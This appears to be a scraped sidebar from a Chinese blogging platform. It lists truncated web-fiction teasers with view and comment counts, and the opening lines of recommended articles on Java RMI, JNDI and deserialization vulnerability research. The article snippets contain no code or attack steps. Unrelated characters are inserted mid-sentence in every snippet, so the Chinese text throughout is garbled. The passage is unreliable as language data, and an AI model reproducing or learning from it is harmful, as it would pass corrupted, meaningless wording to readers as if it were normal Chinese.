  • 那天坪蚁,我揣著相機(jī)與錄音,去河邊找鬼镜沽。 笑死敏晤,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的缅茉。 我是一名探鬼主播嘴脾,決...
    沈念sama閱讀 40,262評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼蔬墩!你這毒婦竟也來(lái)了译打?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 39,153評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤拇颅,失蹤者是張志新(化名)和其女友劉穎奏司,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體樟插,經(jīng)...
    沈念sama閱讀 45,587評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡韵洋,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,792評(píng)論 3 336
  • 正文 我和宋清朗相戀三年哥谷,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片麻献。...
    茶點(diǎn)故事閱讀 39,919評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡们妥,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出勉吻,到底是詐尸還是另有隱情监婶,我是刑警寧澤,帶...
    沈念sama閱讀 35,635評(píng)論 5 345
  • 正文 年R本政府宣布齿桃,位于F島的核電站惑惶,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏短纵。R本人自食惡果不足惜带污,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,237評(píng)論 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望香到。 院中可真熱鬧鱼冀,春花似錦、人聲如沸悠就。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 31,855評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)梗脾。三九已至荸型,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間炸茧,已是汗流浹背瑞妇。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 32,983評(píng)論 1 269
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留梭冠,地道東北人辕狰。 一個(gè)月前我還...
    沈念sama閱讀 48,048評(píng)論 3 370
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像妈嘹,于是被迫代替她去往敵國(guó)和親柳琢。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,864評(píng)論 2 354

推薦閱讀更多精彩內(nèi)容

  • 1. RMI 1.1 JAVA RMI 1.1.1 基本概念 RMI(Remote Method Invocati...
    AxisX閱讀 4,991評(píng)論 3 2
  • 0x01 前言 在Java反序列化漏洞挖掘或利用的時(shí)候經(jīng)常會(huì)遇到RMI倒堕、JNDI、JRMP這些概念爆价,其中RMI是一...
    風(fēng)炫安全閱讀 1,262評(píng)論 0 1
  • Java命名和目錄接口(JNDI)是一種Java API垦巴,類(lèi)似于一個(gè)索引中心媳搪,它允許客戶端通過(guò)name發(fā)現(xiàn)和查找數(shù)...
    aesm1p閱讀 1,646評(píng)論 0 1
  • 1. Java基礎(chǔ)部分 基礎(chǔ)部分的順序:基本語(yǔ)法,類(lèi)相關(guān)的語(yǔ)法骤宣,內(nèi)部類(lèi)的語(yǔ)法秦爆,繼承相關(guān)的語(yǔ)法,異常的語(yǔ)法憔披,線程的語(yǔ)...
    子非魚(yú)_t_閱讀 31,631評(píng)論 18 399
  • 這篇文章主要是基于我在看雪2017開(kāi)發(fā)者峰會(huì)的演講而來(lái)等限,由于時(shí)間和聽(tīng)眾對(duì)象的關(guān)系,在大會(huì)上主要精力都集中在反序列化...
    編程小世界閱讀 771評(píng)論 0 0